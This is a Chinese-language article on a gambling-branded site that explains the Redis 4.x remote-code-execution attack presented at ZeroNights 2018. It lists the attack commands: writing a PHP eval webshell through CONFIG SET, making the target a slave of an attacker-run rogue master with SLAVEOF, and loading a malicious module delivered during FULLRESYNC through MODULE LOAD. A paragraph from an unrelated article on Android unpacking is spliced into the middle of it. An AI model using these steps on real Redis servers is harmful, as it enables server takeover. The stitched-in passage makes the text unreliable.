Redis 4.x RCE剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Redis 4.x RCE剖析

申博_新闻事件 申博 85次浏览 未收录 0个评论

Redis 4.x RCE

本文引见由LCBC战队队员Pavel Toporkov在zeronights 2018上引见的redis 4.x RCE进击。集会slide链接:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

进击场景:

  • 能够接见长途redis的端口(直接接见或许SSRF)
  • 对redis服务器能够接见到的另一台服务器有控制权

背景学问

redis协定

redis支撑两种传输协定,一种是明文传输,其敕令以下:

SET keyname value\n

另一种是经由编码的传输协定:

*3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nval
ue\r\n

将其格式化也许长这个模样:

*<number of arguments> CR LF
$<number of bytes of argument 1> CR LF
<argument data> CR LF
...
$<number of bytes of argument N> CR LF
<argument data> CR LF

笔者重要运用第二种协定完成exp。

CONFIG SET

CONFIG SET敕令用于对redis举行设置。经常使用以下:

CONFIG SET dir /VAR/WWW/HTML
CONFIG SET dbfilename sh.php
SET PAYLOAD '<?php eval($_GET[0]);?>'
BGSAVE

这是之前redis经常使用的getshell套路。然则因为权限题目,并非总能胜利写入文件。

SLAVEOF

SLAVEOF敕令为redis设置主服务器。

127.0.0.1:6379> SLAVEOF 127.0.0.1 7000

该敕令将端口为6379的服务器的主服务器设置为端口为7000的服务器。端口为6379的服务器将最先同步端口为7000服务器的数据来保证数据的一致性。同时服务器能够随时作废主从状况:

Legu3.0脱壳心路历程

概述 本片文章描述一次完整的脱壳历程,从java层到Native层 流程概述 Java层 java层找到库函数的入口位置 过掉java层的反调试(解决方法在Native层:动态在isDebuggerConnected下断点) Native层 绕过Anti IDA 双层解密JNI_OnLoad 动态调试JNI_OnLoad,得到注册的本地方法的具体位置 分析load方法找到Dex动态解密的地方并dump 详细过程 这次脱壳用的测试机是Dalvik虚拟机4.4版本,所以底层用的libdvm.so库文件。 壳特征 有过壳经验的分析人员可以从安装包的特征文件和lib下的libshellxxx.so中看出是TX加固过的壳 java层 实锤加壳 在manif

127.0.0.1:6379> SLAVEOF NO ONE

SLAVE和MASTER之间的握手机制以下:

Redis 4.x RCE剖析

握手后SLAVE将向MASTER发送PSYNC要求同步,平常有三种状况:

  • FULLRESYNC:示意须要全量复制
  • CONTINUE:示意能够举行增量同步
  • ERR:示意主服务器还不支撑PSYNC

MODULE LOAD

MODULE LOAD敕令为redis加载外部的模块,该模块能够自定义。模块编写要领能够参考官方示例:https://github.com/RedisLabs/RedisModulesSDK。

该敕令运用体式格局以下:

MODULE LOAD /path/to/exp.so
MODULE UNLOAD exp

进击流程

Rogue Server

我们须要建一个服务器来在同步过程当中向redis server发送我们的module。服务器要相应redis的要求:

[>] PING - test if a connection is still alive
[<] +PONG
[>] REPLCONF - exchange replication information between master and slave
[<] +OK
[>] PSYNC/SYNC - synchronize slave state with the master
[<] +FULLRESYNC

步骤

将redis设置为我们的slave

SLAVEOF server port

设置redis的数据库文件

CONFIG SET dbfilename exp.so

从rogue server吸收module

+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>

加载模块

MODULE LOAD ./exp.so

进击结果

设置主服务器与数据库文件:
Redis 4.x RCE剖析

向redis server发送payload:
Redis 4.x RCE剖析

加载模块:
Redis 4.x RCE剖析

终究能够完成敕令实行:
Redis 4.x RCE剖析


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Redis 4.x RCE剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址